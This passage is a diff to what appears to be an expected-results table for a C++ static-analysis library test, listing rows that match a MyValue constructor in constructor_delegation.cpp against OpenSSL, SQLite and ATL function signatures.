EVP_CIPHER_meth_set_iv_length | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_clear_flags | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_set_flags | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_set_key_length | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_set_num | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (EVP_KEYMGMT *,int) | | evp_keymgmt_util_query_operation_name | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (EVP_MD *,int) | | EVP_MD_meth_set_app_datasize | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (EVP_MD *,int) | | EVP_MD_meth_set_input_blocksize | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (EVP_MD *,int) | | EVP_MD_meth_set_result_size | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (EVP_MD_CTX *,int) | | EVP_MD_CTX_clear_flags | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (EVP_MD_CTX *,int) | | EVP_MD_CTX_set_flags | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (EVP_PKEY *,int) | | EVP_PKEY_delete_attr | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (EVP_PKEY *,int) | | EVP_PKEY_save_parameters | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (EVP_PKEY *,int) | | EVP_PKEY_set_type | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_get_keygen_info | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dh_kdf_type | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dh_nid | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dh_paramgen_type | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dh_rfc5114 | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dhx_rfc5114 | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_ec_param_enc | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_ec_paramgen_curve_nid | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_ecdh_kdf_type | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_hkdf_mode | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_rsa_padding | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_rsa_pss_saltlen | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (FFC_PARAMS *,int) | | ossl_ffc_params_set_gindex | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (FFC_PARAMS *,int) | | ossl_ffc_params_set_h | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (FFC_PARAMS *,int) | | ossl_ffc_params_set_pcounter | 1 | | constructor_delegation.cpp:10:2:10:8 | MyValue | (LPCOLESTR,int) | CComBSTR | Append | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (OCSP_BASICRESP *,int) | | OCSP_BASICRESP_delete_ext | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (OCSP_BASICRESP *,int) | | OCSP_BASICRESP_get_ext | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (OCSP_BASICRESP *,int) | | OCSP_resp_get0 | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (OCSP_ONEREQ *,int) | | OCSP_ONEREQ_delete_ext | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (OCSP_ONEREQ *,int) | | OCSP_ONEREQ_get_ext | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (OCSP_REQUEST *,int) | | OCSP_REQUEST_delete_ext | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (OCSP_REQUEST *,int) | | OCSP_REQUEST_get_ext | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (OCSP_REQUEST *,int) | | OCSP_request_onereq_get0 | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (OCSP_SINGLERESP *,int) | | OCSP_SINGLERESP_delete_ext | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (OCSP_SINGLERESP *,int) | | OCSP_SINGLERESP_get_ext | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (OPENSSL_STACK *,int) | | OPENSSL_sk_delete | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (OPENSSL_STACK *,int) | | OPENSSL_sk_reserve | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (OPENSSL_sk_compfunc,int) | | OPENSSL_sk_new_reserve | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (OSSL_ACKM *,int) | | ossl_ackm_get_ack_deadline | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (OSSL_ACKM *,int) | | ossl_ackm_get_ack_frame | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (OSSL_ACKM *,int) | | ossl_ackm_get_largest_acked | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (OSSL_ACKM *,int) | | ossl_ackm_on_pkt_space_discarded | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (OSSL_CMP_CTX *,int) | | OSSL_CMP_CTX_set_serverPort | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (OSSL_CMP_CTX *,int) | | ossl_cmp_ctx_set_failInfoCode | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (OSSL_CMP_CTX *,int) | | ossl_cmp_ctx_set_status | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (OSSL_CMP_CTX *,int) | | ossl_cmp_msg_create | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (OSSL_CMP_CTX *,int) | | ossl_cmp_pollReq_new | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (OSSL_CMP_MSG *,int) | | ossl_cmp_msg_set_bodytype | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (OSSL_CMP_PKIHEADER *,int) | | ossl_cmp_hdr_set_pvno | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (OSSL_CMP_REVREPCONTENT *,int) | | ossl_cmp_revrepcontent_get_CertId | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (OSSL_CMP_REVREPCONTENT *,int) | | ossl_cmp_revrepcontent_get_pkisi | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (OSSL_CMP_SRV_CTX *,int) | | OSSL_CMP_SRV_CTX_set_accept_raverified | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (OSSL_CMP_SRV_CTX *,int) | | OSSL_CMP_SRV_CTX_set_accept_unprotected | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (OSSL_CMP_SRV_CTX *,int) | | OSSL_CMP_SRV_CTX_set_grant_implicit_confirm | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (OSSL_CMP_SRV_CTX *,int) | | OSSL_CMP_SRV_CTX_set_send_unprotected_errors | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (OSSL_CRMF_PKIPUBLICATIONINFO *,int) | | OSSL_CRMF_MSG_set_PKIPublicationInfo_action | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (OSSL_DECODER_CTX *,int) | | OSSL_DECODER_CTX_set_selection | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (OSSL_ENCODER_CTX *,int) | | OSSL_ENCODER_CTX_set_selection | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (OSSL_LIB_CTX *,int) | | OSSL_LIB_CTX_get_data | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (OSSL_LIB_CTX *,int) | | OSSL_LIB_CTX_set_conf_diagnostics | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (OSSL_LIB_CTX *,int) | | ossl_ctx_global_properties | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (OSSL_LIB_CTX *,int) | | ossl_dh_new_by_nid_ex | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (OSSL_LIB_CTX *,int) | | ossl_lib_ctx_get_data | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (OSSL_LIB_CTX *,int) | | ossl_mac_key_new | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (OSSL_PARAM *,int) | | OSSL_PARAM_set_int | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (OSSL_QRX *,int) | | ossl_qrx_get_bytes_received | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (OSSL_RECORD_LAYER *,int) | | tls_set_first_handshake | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (OSSL_RECORD_LAYER *,int) | | tls_set_plain_alerts | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (OSSL_STORE_CTX *,int) | | OSSL_STORE_expect | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (PKCS7 *,int) | | PKCS7_set_type | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (QUIC_CHANNEL *,int) | | ossl_quic_channel_new_stream_local | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (QUIC_ENGINE *,int) | | ossl_quic_engine_set_inhibit_tick | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (QUIC_PORT *,int) | | ossl_quic_port_set_allow_incoming | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (QUIC_RCIDM *,int) | | ossl_quic_rcidm_get_preferred_tx_dcid_changed | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (QUIC_RSTREAM *,int) | | ossl_quic_rstream_set_cleanse | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (QUIC_RXFC *,int) | | ossl_quic_rxfc_get_error | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (QUIC_RXFC *,int) | | ossl_quic_rxfc_has_cwm_changed | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (QUIC_SSTREAM *,int) | | ossl_quic_sstream_set_cleanse | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (QUIC_STREAM_MAP *,int) | | ossl_quic_stream_map_get_accept_queue_len | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (QUIC_TXFC *,int) | | ossl_quic_txfc_has_become_blocked | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (RSA *,int) | | RSA_clear_flags | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (RSA *,int) | | RSA_set_flags | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (RSA_METHOD *,int) | | RSA_meth_set_flags | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (RSA_PSS_PARAMS_30 *,int) | | ossl_rsa_pss_params_30_set_hashalg | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (RSA_PSS_PARAMS_30 *,int) | | ossl_rsa_pss_params_30_set_maskgenhashalg | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (RSA_PSS_PARAMS_30 *,int) | | ossl_rsa_pss_params_30_set_saltlen | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (RSA_PSS_PARAMS_30 *,int) | | ossl_rsa_pss_params_30_set_trailerfield | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (SSL *,int) | | SSL_key_update | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (SSL *,int) | | SSL_set_post_handshake_auth | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (SSL *,int) | | SSL_set_purpose | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (SSL *,int) | | SSL_set_quic_tls_early_data_enabled | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (SSL *,int) | | SSL_set_quiet_shutdown | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (SSL *,int) | | SSL_set_read_ahead | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (SSL *,int) | | SSL_set_security_level | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (SSL *,int) | | SSL_set_shutdown | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (SSL *,int) | | SSL_set_trust | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (SSL *,int) | | SSL_set_verify_depth | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (SSL_CONNECTION *,int) | | dtls1_read_failed | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (SSL_CONNECTION *,int) | | ossl_statem_send_fatal | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (SSL_CONNECTION *,int) | | ossl_statem_set_in_init | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (SSL_CONNECTION *,int) | | tls1_shared_group | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (SSL_CTX *,int) | | SSL_CTX_set_post_handshake_auth | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (SSL_CTX *,int) | | SSL_CTX_set_purpose | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (SSL_CTX *,int) | | SSL_CTX_set_quiet_shutdown | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (SSL_CTX *,int) | | SSL_CTX_set_security_level | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (SSL_CTX *,int) | | SSL_CTX_set_srp_strength | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (SSL_CTX *,int) | | SSL_CTX_set_trust | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (SSL_CTX *,int) | | SSL_CTX_set_verify_depth | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (SSL_CTX *,int) | | ssl_md | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (SSL_SESSION *,int) | | SSL_SESSION_set_protocol_version | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (TS_REQ *,int) | | TS_REQ_delete_ext | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (TS_REQ *,int) | | TS_REQ_get_ext | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (TS_RESP_CTX *,int) | | TS_RESP_CTX_add_flags | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (TS_STATUS_INFO *,int) | | TS_STATUS_INFO_set_status | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (TS_TST_INFO *,int) | | TS_TST_INFO_delete_ext | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (TS_TST_INFO *,int) | | TS_TST_INFO_get_ext | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (TS_VERIFY_CTX *,int) | | TS_VERIFY_CTX_add_flags | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (TS_VERIFY_CTX *,int) | | TS_VERIFY_CTX_set_flags | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (WPACKET *,int) | | ossl_DER_w_begin_sequence | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (X509 *,int) | | X509_delete_ext | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (X509 *,int) | | X509_self_signed | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (X509_ACERT *,int) | | X509_ACERT_delete_attr | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (X509_ATTRIBUTE *,int) | | X509_ATTRIBUTE_get0_type | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (X509_CRL *,int) | | X509_CRL_delete_ext | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (X509_NAME *,int) | | X509_NAME_delete_entry | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (X509_REQ *,int) | | X509_REQ_delete_attr | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (X509_REVOKED *,int) | | X509_REVOKED_delete_ext | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (X509_STORE *,int) | | X509_STORE_set_depth | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (X509_STORE *,int) | | X509_STORE_set_purpose | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (X509_STORE *,int) | | X509_STORE_set_trust | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_depth | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_error | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_error_depth | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_purpose | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_trust | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_get0_host | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_set_auth_level | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_set_depth | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_set_purpose | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_set_trust | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (acttab *,int) | | acttab_insert | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (char *,int) | | PEM_proc_type | 1 | | constructor_delegation.cpp:10:2:10:8 | MyValue | (char,int) | CStringT | CStringT | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (const ASN1_BIT_STRING *,int) | | ASN1_BIT_STRING_get_bit | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (const BIGNUM *,int) | | BN_get_flags | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (const BIGNUM *,int) | | BN_is_bit_set | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (const BIO *,int) | | BIO_get_ex_data | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (const BIO *,int) | | BIO_test_flags | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (const CMS_SignerInfo *,int) | | CMS_signed_get_attr | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (const CMS_SignerInfo *,int) | | CMS_unsigned_get_attr | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (const CRYPTO_EX_DATA *,int) | | CRYPTO_get_ex_data | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (const DH *,int) | | DH_get_ex_data | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (const DH *,int) | | DH_test_flags | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (const DH *,int) | | ossl_dh_dup | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (const DSA *,int) | | DSA_get_ex_data | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (const DSA *,int) | | DSA_test_flags | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (const DSA *,int) | | ossl_dsa_dup | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (const ECX_KEY *,int) | | ossl_ecx_key_dup | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (const EC_KEY *,int) | | EC_KEY_get_ex_data | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (const EC_KEY *,int) | | ossl_ec_key_dup | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (const ENGINE *,int) | | ENGINE_get_ex_data | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (const EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_test_flags | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (const EVP_MD_CTX *,int) | | EVP_MD_CTX_test_flags | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (const EVP_PKEY *,int) | | EVP_PKEY_get_attr | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (const EVP_PKEY *,int) | | EVP_PKEY_get_ex_data | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (const ML_DSA_KEY *,int) | | ossl_ml_dsa_key_dup | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (const ML_KEM_KEY *,int) | | ossl_ml_kem_key_dup | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (const OPENSSL_STACK *,int) | | OPENSSL_sk_value | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (const OSSL_CMP_CERTREPMESSAGE *,int) | | ossl_cmp_certrepmessage_get0_certresponse | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (const OSSL_CMP_CTX *,int) | | OSSL_CMP_CTX_get0_newPkey | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (const OSSL_CMP_CTX *,int) | | OSSL_CMP_CTX_get_option | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (const OSSL_CMP_PKISI *,int) | | ossl_cmp_pkisi_check_pkifailureinfo | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (const OSSL_CMP_POLLREPCONTENT *,int) | | ossl_cmp_pollrepcontent_get0_pollrep | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (const QUIC_CHANNEL *,int) | | ossl_quic_channel_get_local_stream_count_avail | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (const QUIC_CHANNEL *,int) | | ossl_quic_channel_get_remote_stream_count_avail | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (const RSA *,int) | | RSA_get_ex_data | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (const RSA *,int) | | RSA_test_flags | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (const RSA *,int) | | ossl_rsa_dup | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (const SLH_DSA_KEY *,int) | | ossl_slh_dsa_key_dup | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (const SSL *,int) | | SSL_get_ex_data | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (const SSL_CTX *,int) | | SSL_CTX_get_ex_data | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (const SSL_SESSION *,int) | | SSL_SESSION_get_ex_data | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (const SSL_SESSION *,int) | | ssl_session_dup | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (const UI *,int) | | UI_get_ex_data | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (const UI_METHOD *,int) | | UI_method_get_ex_data | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (const X509 *,int) | | X509_get_ex_data | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (const X509 *,int) | | X509_get_ext | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (const X509_ACERT *,int) | | X509_ACERT_get_attr | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (const X509_CRL *,int) | | X509_CRL_get_ext | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (const X509_NAME *,int) | | X509_NAME_get_entry | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (const X509_POLICY_LEVEL *,int) | | X509_policy_level_get0_node | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (const X509_POLICY_TREE *,int) | | X509_policy_tree_get0_level | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (const X509_REQ *,int) | | X509_REQ_get_attr | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (const X509_REVOKED *,int) | | X509_REVOKED_get_ext | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (const X509_STORE *,int) | | X509_STORE_get_ex_data | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (const X509_STORE_CTX *,int) | | X509_STORE_CTX_get_ex_data | 1 | | constructor_delegation.cpp:10:2:10:8 | MyValue | (const XCHAR *,int) | CStringT | CStringT | 1 | | constructor_delegation.cpp:10:2:10:8 | MyValue | (const YCHAR *,int) | CStringT | CStringT | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (const char *,int) | | DH_meth_new | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (const char *,int) | | DSA_meth_new | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (const char *,int) | | Jim_StrDupLen | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (const char *,int) | | NETSCAPE_SPKI_b64_decode | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (const char *,int) | | RSA_meth_new | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (const char *,int) | | parse_yesno | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (const stack_st_X509_ATTRIBUTE *,int) | | X509at_get_attr | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (const stack_st_X509_EXTENSION *,int) | | X509v3_get_ext | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (const unsigned char *,int) | | Jim_GenHashFunction | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (const unsigned char *,int) | | OPENSSL_uni2asc | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (const unsigned char *,int) | | OPENSSL_uni2utf8 | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (int *,int) | | X509_PURPOSE_set | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (int *,int) | | X509_TRUST_set | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (int,int) | | BN_security_bits | 0 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (int,int) | | BN_security_bits | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (int,int) | | EVP_MD_meth_new | 0 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (int,int) | | EVP_MD_meth_new | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (int,int) | | EVP_PKEY_meth_new | 0 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (int,int) | | EVP_PKEY_meth_new | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (int,int) | | acttab_alloc | 0 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (int,int) | | acttab_alloc | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (rule *,int) | | Configlist_add | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (rule *,int) | | Configlist_addbasis | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (sqlite3 *,int) | | sqlite3_busy_timeout | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (sqlite3 *,int) | | sqlite3_db_name | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (sqlite3 *,int) | | sqlite3_wal_autocheckpoint | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (sqlite3_backup *,int) | | sqlite3_backup_step | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (sqlite3_context *,int) | | sqlite3_aggregate_context | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (sqlite3_context *,int) | | sqlite3_result_error_code | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (sqlite3_index_info *,int) | | sqlite3_vtab_collation | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (sqlite3_stmt *,int) | | sqlite3_bind_parameter_name | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (sqlite3_stmt *,int) | | sqlite3_column_blob | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (sqlite3_stmt *,int) | | sqlite3_column_bytes | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (sqlite3_stmt *,int) | | sqlite3_column_bytes16 | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (sqlite3_stmt *,int) | | sqlite3_column_decltype | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (sqlite3_stmt *,int) | | 